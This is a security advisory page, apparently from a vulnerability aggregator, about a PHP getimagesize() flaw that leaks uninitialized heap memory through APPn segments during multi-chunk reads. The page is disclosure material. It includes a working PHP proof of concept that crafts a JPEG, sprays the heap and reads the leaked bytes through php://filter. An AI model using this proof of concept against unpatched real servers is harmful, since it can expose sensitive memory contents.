Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-3237-qqm7-mfv7

Опубликовано: 18 дек. 2025
Источник: github
Github: Не прошло ревью
CVSS4: 6.3

Описание

Information Leak of Memory in getimagesize

Information Leak of Memory

Product: PHP EXT/STANDARD Version: 8.6.0 CWE-ID: • CWE-524: Use of Cache Containing Sensitive InformationCAPEC-204: Lifting Sensitive Data Embedded in Cache CVSS vector v.4.0: 6.3 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N) Description: The application insufficiently controls access to information processed by the application data caching tool. As a result, an attacker can gain access to cached data. Mitigation: Restrict access to information processed by the application data caching tool. Additionally, avoid caching information when unnecessary and, where possible, ensure cache encryption.

Researcher: Nikita Sveshnikov (Positive Technologies)

Research

Researcher discovered zero-day vulnerability «Information Leak of Memory» in PHP EXT/STANDARD. This report includes a minimal proof‑of‑concept that demonstrates a bug in php-src/ext/standard/image.c where APPn data read for getimagesize(..., $info) may be corrupted and contain uninitialized heap bytes. poc.php is a minimal Proof of Concept (Listing 1). Writes a small JPEG (min.jpg), reads it through php://filter to force multi‑chunk reads and prints a human‑readable verdict with an inline leak marker snippet when found.

Vulnerability reproduction

The steps below outline the vulnerability reproduction. • Use the last PHP cli: ./php8.5.1 poc.php • Output shows: - Expected/actual APP1 length - Expected vs returned APP1 head (hex) - Result: VULNERABLE … or Result: OK … - If vulnerable: Leak marker found: offset=… and a short ASCII/HEX snippet with the marker highlighted in []. Note, the issue triggers under multi‑chunk reads. Reading directly from file or from a string often returns in one read and may not reproduce. The PoC uses php://filter/... specifically to ensure chunked reading.

Vulnerability analysis

php_read_stream_all_chunks() writes every chunk into the start of the buffer without advancing the destination pointer. The function then reports success as if the full buffer were filled, so the tail may contain uninitialized memory and the head is overwritten by the last chunk. That buffer is stored into $info['APPn'].

Listing 1. PoC Source Code

<?php // Minimal PoC: corruption/uninitialized memory leak when reading APP1 via php://filter $file = __DIR__ . '/min.jpg'; // Make APP1 large enough so it is read in multiple chunks $chunk = 8192; $tail = 123; $payload = str_repeat('A', $chunk) . str_repeat('B', $chunk) . str_repeat('Z', $tail); $app1Len = 2 + strlen($payload); // Minimal JPEG: SOI + APP1 + SOF0(1x1) + EOI $sof = "\xFF\xC0" . pack('n', 11) . "\x08" . pack('n',1) . pack('n',1) . "\x01\x11\x00"; $jpeg = "\xFF\xD8" . "\xFF\xE1" . pack('n', $app1Len) . $payload . $sof . "\xFF\xD9"; file_put_contents($file, $jpeg); // Mini heap-spray: fill heap with a marker and free it, so the C buffer // can reuse those areas and return marker remnants in $info['APP1'] $marker = 'LEAK-MARKER-123!'; $spr = substr(str_repeat($marker, intdiv(strlen($payload) + strlen($marker) - 1, strlen($marker))), 0, strlen($payload)); $spray = []; for ($i = 0; $i < 512; $i++) { $x = $spr; $x[0] = chr($i & 0x7F); // COW -> distinct allocations $spray[$i] = $x; } unset($spray, $x); gc_collect_cycles(); // Read through a filter to enforce multiple reads $src = 'php://filter/read=string.rot13|string.rot13/resource=' . $file; $info = null; if (!@getimagesize($src, $info) || !isset($info['APP1'])) { echo "Error: failed to obtain APP1 from getimagesize().\n"; exit(1); } $exp = $payload; $ret = $info['APP1']; // Human-readable output $lenExp = strlen($exp); $lenRet = strlen($ret); echo "APP1 length: expected=$lenExp, actual=$lenRet\n"; echo "Expected APP1 head (HEX): ", bin2hex(substr($exp, 0, 16)), "\n"; echo "Returned APP1 head (HEX): ", bin2hex(substr($ret, 0, 16)), "\n"; echo ($exp === $ret) ? "Result: OK — data matches.\n" : "Result: VULNERABLE — data differs (corruption/leak).\n"; // If found — show marker offset and a short snippet $pos = strpos($ret, $marker); if ($pos !== false) { echo "Leak marker found: offset=$pos (inside returned APP1).\n"; $ctx = 12; // bytes of context left/right $start = max(0, $pos - $ctx); $end = min(strlen($ret), $pos + strlen($marker) + $ctx); $before = substr($ret, $start, $pos - $start); $mid = substr($ret, $pos, strlen($marker)); $after = substr($ret, $pos + strlen($marker), $end - ($pos + strlen($marker))); $sanitize = function ($s) { return preg_replace('/[^\x20-\x7E]/', '.', $s); }; $asciiLine = $sanitize($before) . '[' . $mid . ']' . $sanitize($after); $hexLine = bin2hex($before) . '[' . bin2hex($mid) . ']' . bin2hex($after); echo "Snippet with marker (ASCII, marker in []): ", $asciiLine, "\n"; echo "Snippet with marker (HEX, marker in []): ", $hexLine, "\n"; } else if ($exp !== $ret) { echo "Marker not found, but data differs — still indicates a read bug.\n"; }
image Figure 1.

Security impact

This issue was originally not classified as a security issue due to usage of stream filter in recreation of the issue and the fact that only realy image file is supposed to be used. However, after deeper investigation during the fix, it was discovered that this can be exploitable if attacker knows the stream chunk size (which is mostly default) even on normal image. Such attack would be more complex but possible.

Пакеты

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.1.34

8.1.34

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.2.30

8.2.30

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.3.29

8.3.29

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.4.16

8.4.16

Наименование
Отсутствует
Затронутые версииВерсия исправления

< 8.5.1

8.5.1

EPSS

Процентиль: 12%
0.00042
Низкий

6.3 Medium

CVSS4

Дефекты

CWE-524

Связанные уязвимости

CVSS3: 7.5
ubuntu
около 1 месяца назад

In PHP versions:8.1.* before 8.1.34, 8.2.* before 8.2.30, 8.3.* before 8.3.29, 8.4.* before 8.4.16, 8.5.* before 8.5.1, the getimagesize() function may leak uninitialized heap memory into the APPn segments (e.g., APP1) when reading images in multi-chunk mode (such as via php://filter). This occurs due to a bug in php_read_stream_all_chunks() that overwrites the buffer without advancing the pointer, leaving tail bytes uninitialized. This may lead to information disclosure of sensitive heap data and affect the confidentiality of the target server.

CVSS3: 7.5
nvd
около 1 месяца назад

In PHP versions:8.1.* before 8.1.34, 8.2.* before 8.2.30, 8.3.* before 8.3.29, 8.4.* before 8.4.16, 8.5.* before 8.5.1, the getimagesize() function may leak uninitialized heap memory into the APPn segments (e.g., APP1) when reading images in multi-chunk mode (such as via php://filter). This occurs due to a bug in php_read_stream_all_chunks() that overwrites the buffer without advancing the pointer, leaving tail bytes uninitialized. This may lead to information disclosure of sensitive heap data and affect the confidentiality of the target server.

CVSS3: 3.7
msrc
около 1 месяца назад

Information Leak of Memory in getimagesize

CVSS3: 7.5
debian
около 1 месяца назад

In PHP versions:8.1.* before 8.1.34, 8.2.* before 8.2.30, 8.3.* before ...

suse-cvrf
9 дней назад

Security update for php8

EPSS

Процентиль: 12%
0.00042
Низкий

6.3 Medium

CVSS4

Дефекты

CWE-524